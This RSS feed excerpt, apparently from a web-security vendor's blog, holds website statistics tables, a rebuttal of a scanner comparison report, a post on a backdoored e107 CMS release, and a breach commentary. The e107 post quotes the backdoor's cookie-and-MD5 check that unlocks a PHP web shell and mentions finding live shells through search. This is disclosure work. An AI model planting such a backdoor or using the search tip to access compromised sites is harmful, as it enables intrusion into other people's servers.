	<tr class="row-12 even">
		<td class="column-1">*.1and1.com</td><td class="column-2">6006</td><td class="column-3">3.18%</td>
	</tr>
	<tr class="row-13 odd">
		<td class="column-1">*.dnsmadeeasy.com</td><td class="column-2">5396</td><td class="column-3">2.86%</td>
	</tr>
	<tr class="row-14 even">
		<td class="column-1">*.hostmonster.com</td><td class="column-2">5391</td><td class="column-3">2.86%</td>
	</tr>
	<tr class="row-15 odd">
		<td class="column-1">*.yahoo.com</td><td class="column-2">4849</td><td class="column-3">2.57%</td>
	</tr>
	<tr class="row-16 even">
		<td class="column-1">*.technorail.com</td><td class="column-2">4835</td><td class="column-3">2.56%</td>
	</tr>
	<tr class="row-17 odd">
		<td class="column-1">*.wordpress.com</td><td class="column-2">4685</td><td class="column-3">2.48%</td>
	</tr>
	<tr class="row-18 even">
		<td class="column-1">*.dns.com.cn</td><td class="column-2">4536</td><td class="column-3">2.41%</td>
	</tr>
	<tr class="row-19 odd">
		<td class="column-1">*.ultradns.net</td><td class="column-2">4203</td><td class="column-3">2.23%</td>
	</tr>
	<tr class="row-20 even">
		<td class="column-1">*.namespace4you.de</td><td class="column-2">4006</td><td class="column-3">2.12%</td>
	</tr>
	<tr class="row-21 odd">
		<td class="column-1">*.kasserver.com</td><td class="column-2">3860</td><td class="column-3">2.05%</td>
	</tr>
</tbody>
</table>

<p>domaincontrol.com is the NS server for Go Daddy. On the second place are the Google name servers. These are the Blogspot blogs (there are a lot of them). Third and forth place belongs to xinnetdns: some popular Chinese web hosting provider.</p>
<p><strong>Top AS Names</strong></p>
<p>An autonomous system (AS) is a collection of connected Internet Protocol (IP) routing prefixes under the control of one or more network operators. Next table will display the top AS Names (based on their AS numbers).</p>

<table id="wp-table-reloaded-id-18-no-1" class="wp-table-reloaded wp-table-reloaded-id-18">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">AS Name</th><th class="column-2">Count</th><th class="column-3">Percent</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">THEPLANET-AS - ThePlanet.com Internet Services, Inc.</td><td class="column-2">58311</td><td class="column-3">17.42%</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">GOOGLE - Google Inc.</td><td class="column-2">37757</td><td class="column-3">11.28%</td>
	</tr>
	<tr class="row-4 even">
		<td class="column-1">CHINANET-BACKBONE No.31,Jin-rong Street</td><td class="column-2">28226</td><td class="column-3">8.43%</td>
	</tr>
	<tr class="row-5 odd">
		<td class="column-1">PAH-INC - GoDaddy.com, Inc.</td><td class="column-2">23806</td><td class="column-3">7.11%</td>
	</tr>
	<tr class="row-6 even">
		<td class="column-1">SOFTLAYER - SoftLayer Technologies Inc.</td><td class="column-2">21799</td><td class="column-3">6.51%</td>
	</tr>
	<tr class="row-7 odd">
		<td class="column-1">ONEANDONE-AS 1&amp;1 Internet AG</td><td class="column-2">19127</td><td class="column-3">5.71%</td>
	</tr>
	<tr class="row-8 even">
		<td class="column-1">OVH OVH</td><td class="column-2">17515</td><td class="column-3">5.23%</td>
	</tr>
	<tr class="row-9 odd">
		<td class="column-1">BLUEHOST-AS - Bluehost Inc.</td><td class="column-2">15473</td><td class="column-3">4.62%</td>
	</tr>
	<tr class="row-10 even">
		<td class="column-1">PEER1 - Peer 1 Network Inc.</td><td class="column-2">13666</td><td class="column-3">4.08%</td>
	</tr>
	<tr class="row-11 odd">
		<td class="column-1">RMH-14 - Rackspace.com, Ltd.</td><td class="column-2">12215</td><td class="column-3">3.65%</td>
	</tr>
	<tr class="row-12 even">
		<td class="column-1">DREAMHOST-AS - New Dream Network, LLC</td><td class="column-2">11586</td><td class="column-3">3.46%</td>
	</tr>
	<tr class="row-13 odd">
		<td class="column-1">LAYER3-ASN - Layered Technologies, Inc.</td><td class="column-2">11511</td><td class="column-3">3.44%</td>
	</tr>
	<tr class="row-14 even">
		<td class="column-1">HETZNER-AS Hetzner Online AG RZ</td><td class="column-2">10579</td><td class="column-3">3.16%</td>
	</tr>
	<tr class="row-15 odd">
		<td class="column-1">LAYER3-ASN-2 - Layered Technologies, Inc.</td><td class="column-2">10525</td><td class="column-3">3.14%</td>
	</tr>
	<tr class="row-16 even">
		<td class="column-1">LIQUID-WEB-INC - Liquid Web, Inc.</td><td class="column-2">8352</td><td class="column-3">2.49%</td>
	</tr>
	<tr class="row-17 odd">
		<td class="column-1">MEDIATEMPLE - Media Temple, Inc.</td><td class="column-2">7739</td><td class="column-3">2.31%</td>
	</tr>
	<tr class="row-18 even">
		<td class="column-1">LEASEWEB LEASEWEB AS</td><td class="column-2">7006</td><td class="column-3">2.09%</td>
	</tr>
	<tr class="row-19 odd">
		<td class="column-1">GNAXNET-AS - Global Net Access, LLC</td><td class="column-2">6747</td><td class="column-3">2.02%</td>
	</tr>
	<tr class="row-20 even">
		<td class="column-1">CHINANET-SH-AP China Telecom (Group)</td><td class="column-2">6560</td><td class="column-3">1.96%</td>
	</tr>
	<tr class="row-21 odd">
		<td class="column-1">AKAMAI-ASN1 Akamai Technologies European AS</td><td class="column-2">6284</td><td class="column-3">1.88%</td>
	</tr>
</tbody>
</table>

<p>The table from above lists the top IP providers from our top 1,000,000 websites as listed by Alexa. THEPLANET leads the way, followed by Google and a Chinese provider.</p>
<p><strong>Registrars distribution</strong></p>
<p>The next table is about IP registrars. There are 5 registrars on the internet:</p>
<ul>
<li><strong>arin</strong> &#8211; American Registry for Internet Numbers</li>
<li><strong>ripencc</strong> &#8211; Réseaux IP Européens Network Coordination Centre</li>
<li><strong>apnic</strong> &#8211; Asia-Pacific Network Information Centre</li>
<li><strong>lacnic</strong> &#8211; Latin American and Caribbean Internet Addresses Registry</li>
<li><strong>afrinic</strong> &#8211; The Registry of Internet Number Resources for Africa</li>
</ul>

<table id="wp-table-reloaded-id-19-no-1" class="wp-table-reloaded wp-table-reloaded-id-19">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">Registrar</th><th class="column-2">Count</th><th class="column-3">Percent</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">arin</td><td class="column-2">503984</td><td class="column-3">51.68%</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">ripencc</td><td class="column-2">318741</td><td class="column-3">32.69%</td>
	</tr>
	<tr class="row-4 even">
		<td class="column-1">apnic</td><td class="column-2">137493</td><td class="column-3">14.10%</td>
	</tr>
	<tr class="row-5 odd">
		<td class="column-1">lacnic</td><td class="column-2">12290</td><td class="column-3">1.26%</td>
	</tr>
	<tr class="row-6 even">
		<td class="column-1">afrinic</td><td class="column-2">2621</td><td class="column-3">0.27%</td>
	</tr>
</tbody>
</table>

<p><strong>Country distribution</strong></p>
<p>We&#8217;ve also calculated the country distribution. We&#8217;ve resolved each domain to its corresponding IP address and then determined the country for that ip address. Finally, we&#8217;ve counted the most popular countries.</p>

<table id="wp-table-reloaded-id-15-no-1" class="wp-table-reloaded wp-table-reloaded-id-15">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">Country</th><th class="column-2">Count</th><th class="column-3">Percentage</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">United States</td><td class="column-2">497993</td><td class="column-3">53.73%</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">Germany</td><td class="column-2">81518</td><td class="column-3">8.80%</td>
	</tr>
	<tr class="row-4 even">
		<td class="column-1">China</td><td class="column-2">63364</td><td class="column-3">6.84%</td>
	</tr>
	<tr class="row-5 odd">
		<td class="column-1">Japan</td><td class="column-2">42384</td><td class="column-3">4.57%</td>
	</tr>
	<tr class="row-6 even">
		<td class="column-1">United Kingdom</td><td class="column-2">40814</td><td class="column-3">4.40%</td>
	</tr>
	<tr class="row-7 odd">
		<td class="column-1">Russian Federation</td><td class="column-2">35583</td><td class="column-3">3.84%</td>
	</tr>
	<tr class="row-8 even">
		<td class="column-1">France</td><td class="column-2">29893</td><td class="column-3">3.23%</td>
	</tr>
	<tr class="row-9 odd">
		<td class="column-1">Netherlands</td><td class="column-2">26218</td><td class="column-3">2.83%</td>
	</tr>
	<tr class="row-10 even">
		<td class="column-1">Canada</td><td class="column-2">21695</td><td class="column-3">2.34%</td>
	</tr>
	<tr class="row-11 odd">
		<td class="column-1">Italy</td><td class="column-2">16013</td><td class="column-3">1.73%</td>
	</tr>
	<tr class="row-12 even">
		<td class="column-1">Spain</td><td class="column-2">11992</td><td class="column-3">1.29%</td>
	</tr>
	<tr class="row-13 odd">
		<td class="column-1">Turkey</td><td class="column-2">8740</td><td class="column-3">0.94%</td>
	</tr>
	<tr class="row-14 even">
		<td class="column-1">Europe</td><td class="column-2">7720</td><td class="column-3">0.83%</td>
	</tr>
	<tr class="row-15 odd">
		<td class="column-1">Poland</td><td class="column-2">7346</td><td class="column-3">0.79%</td>
	</tr>
	<tr class="row-16 even">
		<td class="column-1">Brazil</td><td class="column-2">6836</td><td class="column-3">0.74%</td>
	</tr>
	<tr class="row-17 odd">
		<td class="column-1">Australia</td><td class="column-2">6544</td><td class="column-3">0.71%</td>
	</tr>
	<tr class="row-18 even">
		<td class="column-1">Czech Republic</td><td class="column-2">6070</td><td class="column-3">0.65%</td>
	</tr>
	<tr class="row-19 odd">
		<td class="column-1">Sweden</td><td class="column-2">5746</td><td class="column-3">0.62%</td>
	</tr>
	<tr class="row-20 even">
		<td class="column-1">Ukraine</td><td class="column-2">5465</td><td class="column-3">0.59%</td>
	</tr>
	<tr class="row-21 odd">
		<td class="column-1">Thailand</td><td class="column-2">4845</td><td class="column-3">0.52%</td>
	</tr>
</tbody>
</table>

<p>No surprises here: United States, Germany and China are taking the top spots.</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/03/countries1.png"><img class="aligncenter size-full wp-image-1388" title="countries" src="http://www.acunetix.com/blog/wp-content/uploads/2010/03/countries1.png" alt="" width="454" height="324" /></a></p>
<p style="text-align: left;">While navigating all those websites we&#8217;ve received some funny responses from web servers. I&#8217;ve listed some of them below.</p>
<p style="text-align: left;"><strong>Weird headers</strong></p>
<p>These are various headers that contain invalid characters. Most of them are error messages (usually PHP and MySQL errors). Some of them include some kind of information disclosure (even source code disclosure in one case).</p>

<table id="wp-table-reloaded-id-16-no-1" class="wp-table-reloaded wp-table-reloaded-id-16">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">Header Name</th><th class="column-2">Header Value</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">file 'c</td><td class="column-2">mysqlsharecharsets?.conf' not found (Errcode: 2)</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">php notice</td><td class="column-2">Undefined variable: rssrtl in D:domainsmeansearch.comwwwrootmodulesmod_slick_rsstmpldefault.php on line 46</td>
	</tr>
	<tr class="row-4 even">
		<td class="column-1">php notice</td><td class="column-2">Undefined index:  error in D:domainsmeansearch.comwwwrootmodulesmod_slick_rsstmpldefault.php on line 29</td>
	</tr>
	<tr class="row-5 odd">
		<td class="column-1">php warning</td><td class="column-2">PHP Startup: Unable to load dynamic library '/usr/local/php5/lib/php/php_pdo_mysql.dll' - /usr/local/php5/lib/php/php_pdo_mysql.dll: cannot open shared object file: No such file or directory in Unknown on line 0</td>
	</tr>
	<tr class="row-6 even">
		<td class="column-1">php warning</td><td class="column-2">PHP Startup: Unable to load dynamic library './php_gd.so' - Cannot open &quot;./php_gd.so&quot; in Unknown on line 0</td>
	</tr>
	<tr class="row-7 odd">
		<td class="column-1">php warning</td><td class="column-2">Unknown(): Unable to load dynamic library '/usr/local/php4/lib/php/php_xslt.dll' - /usr/local/php4/lib/php/php_xslt.dll: cannot open shared object file: No such file or directory in Unknown on line 0</td>
	</tr>
	<tr class="row-8 even">
		<td class="column-1">character set '#18' is not a compiled character set and is not specified in the 'c</td><td class="column-2">mysqlsharecharsetsIndex' file</td>
	</tr>
	<tr class="row-9 odd">
		<td class="column-1">gen true for "http</td><td class="column-2">//www.philadelphia-reflections.com" r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0)</td>
	</tr>
	<tr class="row-10 even">
		<td class="column-1">e&lt;/div&gt;xpires</td><td class="column-2">Mon, 26 Jul 1997 05:00:00 GMT</td>
	</tr>
	<tr class="row-11 odd">
		<td class="column-1">php fatal error</td><td class="column-2">Call to a member function count() on a non-object in /virtual/valueset/project/dropshipping/apps/valueset/modules/amazon/templates/indexSuccess.php on line 123</td>
	</tr>
	<tr class="row-12 even">
		<td class="column-1">php header for pdf files</td><td class="column-2">header("Cache-Control: must-revalidate, post-check=0, pre-check=0");</td>
	</tr>
	<tr class="row-13 odd">
		<td class="column-1">&lt;?php include_once("analyticstracking.php"); ?&gt;</td><td class="column-2"></td>
	</tr>
	<tr class="row-14 even">
		<td class="column-1">&lt;!-- --&gt;date</td><td class="column-2">Fri, 11 Dec 2009 21:07:37 GMT</td>
	</tr>
	<tr class="row-15 odd">
		<td class="column-1">&lt;!-- warning</td><td class="column-2">IS_SALVE : esl5 at auction.pl line 1020. -->, IS_SALVE : esl5 at auction.pl line 1054. --></td>
	</tr>
	<tr class="row-16 even">
		<td class="column-1">are you hacker this server ? baby !</td><td class="column-2">^ Aaron ^</td>
	</tr>
	<tr class="row-17 odd">
		<td class="column-1">super isp</td><td class="column-2">13939.NET</td>
	</tr>
	<tr class="row-18 even">
		<td class="column-1">php script</td><td class="column-2">php</td>
	</tr>
	<tr class="row-19 odd">
		<td class="column-1">wordpress-datenbankfehler unknown collation</td><td class="column-2">'utf8_general-ci' für die Abfrage SET NAMES 'utf8' COLLATE 'utf8_general-ci' in require, require_once, require_once, require_once, require_wp_db, require_once</td>
	</tr>
</tbody>
</table>

<p style="text-align: left;"><strong>Funny Server headers</strong></p>
<p>And finally, some administrators are using various humorous values for the Server header. I&#8217;ve listed some of them below:</p>

<table id="wp-table-reloaded-id-17-no-1" class="wp-table-reloaded wp-table-reloaded-id-17">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">Server</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">God is Love</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">Homer/1.</td>
	</tr>
	<tr class="row-4 even">
		<td class="column-1">House Plans</td>
	</tr>
	<tr class="row-5 odd">
		<td class="column-1">Http With Associates</td>
	</tr>
	<tr class="row-6 even">
		<td class="column-1">I'm a server</td>
	</tr>
	<tr class="row-7 odd">
		<td class="column-1">IIS 9.2 Alpha</td>
	</tr>
	<tr class="row-8 even">
		<td class="column-1">IIS/7.(Unix) mod_ssl/2.8.3OpenSSL/.9.8e</td>
	</tr>
	<tr class="row-9 odd">
		<td class="column-1">IIS_8._pre_alpha</td>
	</tr>
	<tr class="row-10 even">
		<td class="column-1">Its a Server</td>
	</tr>
	<tr class="row-11 odd">
		<td class="column-1">Just a Web Server</td>
	</tr>
	<tr class="row-12 even">
		<td class="column-1">Just Apache</td>
	</tr>
	<tr class="row-13 odd">
		<td class="column-1">make my day</td>
	</tr>
	<tr class="row-14 even">
		<td class="column-1">null</td>
	</tr>
	<tr class="row-15 odd">
		<td class="column-1">openyourmind</td>
	</tr>
	<tr class="row-16 even">
		<td class="column-1">Pizza/4cheese</td>
	</tr>
	<tr class="row-17 odd">
		<td class="column-1">reboot!</td>
	</tr>
	<tr class="row-18 even">
		<td class="column-1">the 4in 4.25 seconds</td>
	</tr>
	<tr class="row-19 odd">
		<td class="column-1">*** unknown ***</td>
	</tr>
	<tr class="row-20 even">
		<td class="column-1">BlackHole/1.</td>
	</tr>
	<tr class="row-21 odd">
		<td class="column-1">David's little web server powered by Smalltalk</td>
	</tr>
	<tr class="row-22 even">
		<td class="column-1">Go Away</td>
	</tr>
	<tr class="row-23 odd">
		<td class="column-1">HolyServer/9 (YeahBaby)</td>
	</tr>
	<tr class="row-24 even">
		<td class="column-1">O_o</td>
	</tr>
	<tr class="row-25 odd">
		<td class="column-1">Paranoid</td>
	</tr>
	<tr class="row-26 even">
		<td class="column-1">;-)</td>
	</tr>
	<tr class="row-27 odd">
		<td class="column-1">Apache ;-)</td>
	</tr>
	<tr class="row-28 even">
		<td class="column-1">Stoned Webserver 1.</td>
	</tr>
	<tr class="row-29 odd">
		<td class="column-1">Apachern</td>
	</tr>
	<tr class="row-30 even">
		<td class="column-1">Server secured</td>
	</tr>
	<tr class="row-31 odd">
		<td class="column-1">Ski The Best... Booth Creek Resorts</td>
	</tr>
</tbody>
</table>

]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/statistics-from-the-top-1000000-websites-part-ii/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Latest Comparison Report from Larry Suto</title>
		<link>http://www.acunetix.com/blog/news/latest-comparison-report-from-larry-suto/</link>
		<comments>http://www.acunetix.com/blog/news/latest-comparison-report-from-larry-suto/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 10:43:54 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[acunetix]]></category>
		<category><![CDATA[comparison]]></category>
		<category><![CDATA[larry suto]]></category>
		<category><![CDATA[report]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=1291</guid>
		<description><![CDATA[Last week, Larry Suto published a report entitled &#8220;Accuracy and Time Costs of Web Application Security Scanner Report&#8221;.  I&#8217;ve started to investigate in detail the results from this report. And I&#8217;ve found a list of ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/02/acunetix_logo_blog_post_100x741.png"><img class="size-full wp-image-1323 alignleft" title="acunetix_logo_blog_post_100x74" src="http://www.acunetix.com/blog/wp-content/uploads/2010/02/acunetix_logo_blog_post_100x741.png" alt="" width="100" height="74" /></a>Last week, Larry Suto published a report entitled &#8220;Accuracy and Time Costs of Web Application Security Scanner Report&#8221;.  I&#8217;ve started to investigate in detail the results from this report. And I&#8217;ve found a list of inaccuracies.  Here is a direct quote from his paper:</p>
<blockquote><p><em>Methodology</em></p>
<p>In order to cover as many bases as possible it was decided to run each scanner in two ways:</p>
<p>1. <strong>Point and Shoot</strong> (PaS): This includes nothing more than run default scanning options and provide credentials if the scanner supported it and the site used any.</p>
<p>2. <strong>Trained</strong>: This includes any configurations, macros, scripts or other training determined to be required to get the best possible results. As needed help was requested from the vendors or from acquaintances with expertise in each scanner to make sure that each was given all possible opportunity to get its best possible results.</p></blockquote>
<p>Therefore he&#8217;s defining two modes; Point and Shoot and Trained. In the Point and Shoot mode he&#8217;s supposed to use the default scanning options AND provide credentials if the scanner supported it.</p>
<p><span id="more-1291"></span></p>
<p>Except that for our scanner, he&#8217;s not doing this. Let&#8217;s take our test PHP website testphp.acunetix.com.</p>
<p>Here is a quick excerpt from his results:</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/02/testphp.png" target="_blank"><img class="aligncenter size-medium wp-image-1294" title="testphp" src="http://www.acunetix.com/blog/wp-content/uploads/2010/02/testphp-300x22.png" alt="" width="300" height="22" /></a></p>
<p>Acunetix is listed as not finding any of the 4 XSS vulnerabilities from userinfo.php (trained or untrained).<br />
That came as a big surprise to me. I&#8217;ve quickly made a test and surely, the vulnerabilities were found by Acunetix WVS.</p>
<p>This file &#8220;userinfo.php&#8221; is only available after you provide valid credentials, it&#8217;s not possible to access this file unauthenticated.</p>
<p>They were not found because Larry didn&#8217;t authenticated our scanner (didn&#8217;t provided any credentials). No wonder that Acunetix didn&#8217;t found the vulnerabilities. The same situation with the SQL vulnerability from cart.php (the shopping cart is only available when you are authenticated). He didn&#8217;t authenticated our scanner neither in the Point and Shoot mode or in the Trained mode. That&#8217;s not fair for us.</p>
<p>I then moved to the Cenzic test website (http://crackme.cenzic.com). Here Acunetix is listed as not finding a number of XSS vulnerabilities in various files such as /Kelev/php/transfer.php (parameters Amount, ToAccountNo), file /kelev/php/accttransaction.php (parameters FromDate, ToDate) and so on.</p>
<p>I&#8217;ve started a scan for crackme.cenzic.com and guess what?  All those vulnerabilities were found by Acunetix WVS. I think it&#8217;s the same situation as before: the scanner was not authenticated and therefore, it couldn&#8217;t access those pages.</p>
<p>Below, I&#8217;ve attached a screen shot with those vulnerabilities found by Acunetix WVS:</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/02/cenzic.png" target="_blank"><img class="aligncenter size-medium wp-image-1297" title="cenzic" src="http://www.acunetix.com/blog/wp-content/uploads/2010/02/cenzic-300x233.png" alt="" width="300" height="233" /></a></p>
<p>Therefore, Acunetix WVS was clearly disadvantaged in this comparison report.  It&#8217;s not possible to find vulnerabilities in authenticated pages without providing the right credentials.</p>
<p>In the end, I would like to point out a very suspicious log event from our test website. While analyzing the logs from testphp.acunetix.com I&#8217;ve found the following entry:</p>
<blockquote><p>72.25.78.35 &#8211; - [20/Jan/2010:08:44:58 +0100] &#8220;GET /Flash/add.swf HTTP/1.1&#8243; 200 17418 &#8220;file:///C:/NTOBJECTIVES/SOURCE/ntospider_5_0/ntospider/NTOGUI/NtoGui/Debug/Reports/acunetix/<br />
2010_01_19_23_43/DF4D21797A665BCA9B48B5B5F5C37C2&#8243; &#8220;Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618)&#8221;</p></blockquote>
<p>This log entry was generated by NTOSpider while scanning our test website. What&#8217;s suspicious about this log entry is the Referer field:</p>
<p>file:///C:/NTOBJECTIVES/SOURCE/ntospider_5_0/ntospider/NTOGUI/NtoGui/Debug/Reports/acunetix/<br />
2010_01_19_23_43/DF4D21797A665BCA9B48B5B5F5C37C2</p>
<p>Notice the directory: C:/NTOBJECTIVES/SOURCE/ntospider_5_0/? SOURCE? Debug?</p>
<p>Only NTObjectives employees should have access to the NTOSpider source code. I don&#8217;t have enough evidence to directly accuse NTObjectives, however, that log entry looks suspicious to me.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/latest-comparison-report-from-larry-suto/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>e107 CMS system website compromised</title>
		<link>http://www.acunetix.com/blog/news/e107-org-compromised/</link>
		<comments>http://www.acunetix.com/blog/news/e107-org-compromised/#comments</comments>
		<pubDate>Wed, 27 Jan 2010 10:19:20 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[e107]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=1245</guid>
		<description><![CDATA[As part of my job here at Acunetix, from time to time I analyze source code looking for security problems. Using this information I adjust Acunetix WVS to detect these problems automatically (when it&#8217;s possible).
Monday, ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/01/e107_logo.png"><img class="alignleft size-full wp-image-1252" title="e107_logo" src="http://www.acunetix.com/blog/wp-content/uploads/2010/01/e107_logo.png" alt="" width="200" height="83" /></a>As part of my job here at Acunetix, from time to time I analyze source code looking for security problems. Using this information I adjust Acunetix WVS to detect these problems automatically (when it&#8217;s possible).</p>
<p style="text-align: justify;">Monday, I downloaded e107 from <a href="http://e107.org" target="_blank">e107.org</a> and started analyzing the code. e107 is a popular content management system written in PHP.</p>
<p style="text-align: justify;">Looking through the code, the following lines drawn my attention:</p>
<p style="text-align: justify;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/01/backdoor.png" target="_blank"><img class="aligncenter size-medium wp-image-1246" title="backdoor" src="http://www.acunetix.com/blog/wp-content/uploads/2010/01/backdoor-248x300.png" alt="" width="248" height="300" /></a></p>
<p style="text-align: justify;">The first line</p>
<blockquote style="text-align: justify;"><p>if(md5($_COOKIE['access-admin']) == &#8220;<strong>cf1afec15669cb96f09befb7d70f8bcb</strong>&#8220;) {</p></blockquote>
<p style="text-align: justify;">is used for authentication. If you modify your browser cookies and set a cookie named access-admin with a value like md5(value) = &#8216;<strong>cf1afec15669cb96f09befb7d70f8bcb</strong>&#8216; you will get access to a PHP shell.</p>
<p style="text-align: justify;">As I didn&#8217;t knew the exact value to use,  I commented out this line to see how to PHP shell looks like and what can be done with it.</p>
<p style="text-align: justify;"><span id="more-1245"></span></p>
<p style="text-align: justify;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/01/e107_php_shell_backdoor.png" target="_blank"><img class="aligncenter size-medium wp-image-1247" title="e107_php_shell_backdoor" src="http://www.acunetix.com/blog/wp-content/uploads/2010/01/e107_php_shell_backdoor-300x248.png" alt="" width="300" height="248" /></a></p>
<p style="text-align: justify;">It&#8217;s a known PHP shell, I&#8217;ve seen it before a few times. It&#8217;s pretty powerful, you can execute system commands, execute PHP code, edit&amp;rename files, create files and/or directories. You can also upload new files and browse the file system using the current web server privileges.</p>
<p style="text-align: justify;">BTW, if you search on Google using a few words from this shell (like ~:(expl0rer):~) you will find a bunch of live shells indexed by Google. Most of these sites seem to be running RSGallery (a Joomla! component). I will try to contact these people about their websites being hacked.</p>
<p style="text-align: justify;">Back to e107: I&#8217;ve informed the guys from e107.org and a few hours later the problem was fixed.</p>
<p style="text-align: justify;">Here is what happened:</p>
<p style="text-align: justify;">
<div id="_mcePaste" style="text-align: justify;">
<ol>
<li>A few days ago, somebody found and exploited a e107 0day (for 0.7.16) on some websites. The e107 guys were informed about this and released 0.7.17 to fix this problem.</li>
<li>However, at this point I suspect they were already hacked because they are running e107 on e107.org and they were an obvious target.</li>
<li>The attackers waited until they released the security fix (0.7.17) and modified the zip file to include the backdoor.</li>
<li>At this point, most e107 site owners were rushing to upgrade because of security update announcement and I suspect that many people have downloaded the backdored binary.</li>
</ol>
</div>
<p style="text-align: justify;">So, if you&#8217;ve downloaded e107 in this weekend you have a backdored binary and you should remove it from your website and download a new copy.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/e107-org-compromised/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Security is hard</title>
		<link>http://www.acunetix.com/blog/news/security-is-hard/</link>
		<comments>http://www.acunetix.com/blog/news/security-is-hard/#comments</comments>
		<pubDate>Fri, 22 Jan 2010 08:29:28 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[1&1]]></category>
		<category><![CDATA[aurora]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=1207</guid>
		<description><![CDATA[The year debuted with &#8216;Operation Aurora&#8216;: Google and over 30 other companies were hit by a spear phishing attack which resulted in theft of intellectual property from Google and probably other companies. Spear phishing is a targeted ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-1236" title="internet_security" src="http://www.acunetix.com/blog/wp-content/uploads/2010/01/internet_security.jpg" alt="" width="200" height="133" />The year debuted with &#8216;<a href="http://blogs.zdnet.com/security/?p=5259&amp;utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed:+zdnet/security+(ZDNet+Zero+Day)" target="_blank">Operation Aurora</a>&#8216;: Google and over 30 other companies were hit by a spear phishing attack which resulted in theft of intellectual property from Google and probably other companies. Spear phishing is a targeted form of phishing in which an e-mail message might look like it comes from your employer, or from a colleague who might send an e-mail message to everyone in the company, such as the head of human resources or IT. The attackers used an Internet Explorer 6 zero day vulnerability.</p>
<p>Spear phishing is very hard to protect against, each company is more or less vulnerable to this threat because it targets the human factor. However, what I don&#8217;t understand is why Google&#8217;s employees are using Internet Explorer 6 as their primary browser. Not why they are using Internet Explorer. Why they are using Internet Explorer 6?</p>
<p>Internet Explorer was released in 2001 and Secunia lists 184 known Vulnerabilities for this product. If Microsoft with its Security Development Lifecycle (SDL) and billions of dollars in bank cannot secure ONE single piece of code 9 years later, then something is wrong. What can you expect from other companies?</p>
<p>A few days ago, Network Solutions announced that <a href="http://www.krebsonsecurity.com/2010/01/hundreds-of-network-solutions-sites-hacked/" target="_blank">several hundred websites</a> hosted on its infrastructure were hacked/defaced because hackers had broken into its servers by exploiting a file inclusion vulnerability.  Network Solutions is one of the top five Internet domain name registrars.</p>
<p><span id="more-1207"></span></p>
<p>Yesterday, I&#8217;ve read about <a href="http://archives.seul.org/or/talk/Jan-2010/msg00161.html" target="_blank">Tor&#8217;s servers being breached</a>. It seems that two of the seven Tor directory authorities were compromised, along with metrics.torproject.org. Roger Dingledine wrote:</p>
<blockquote><p>It appears the attackers didn&#8217;t realize what they broke into &#8212; just that they had found some servers with lots of bandwidth.</p></blockquote>
<p>So, the attackers didn&#8217;t even target Tor, they just happened to hack two of their servers, probably using some automated tool. This makes me think that Tor had some serious vulnerabilities.</p>
<p>Yesterday, I was also browsing some random website and I&#8217;ve reached its 404 (page not found) page by mistake. This particular page was a custom 404, displaying a bunch of Google ads.</p>
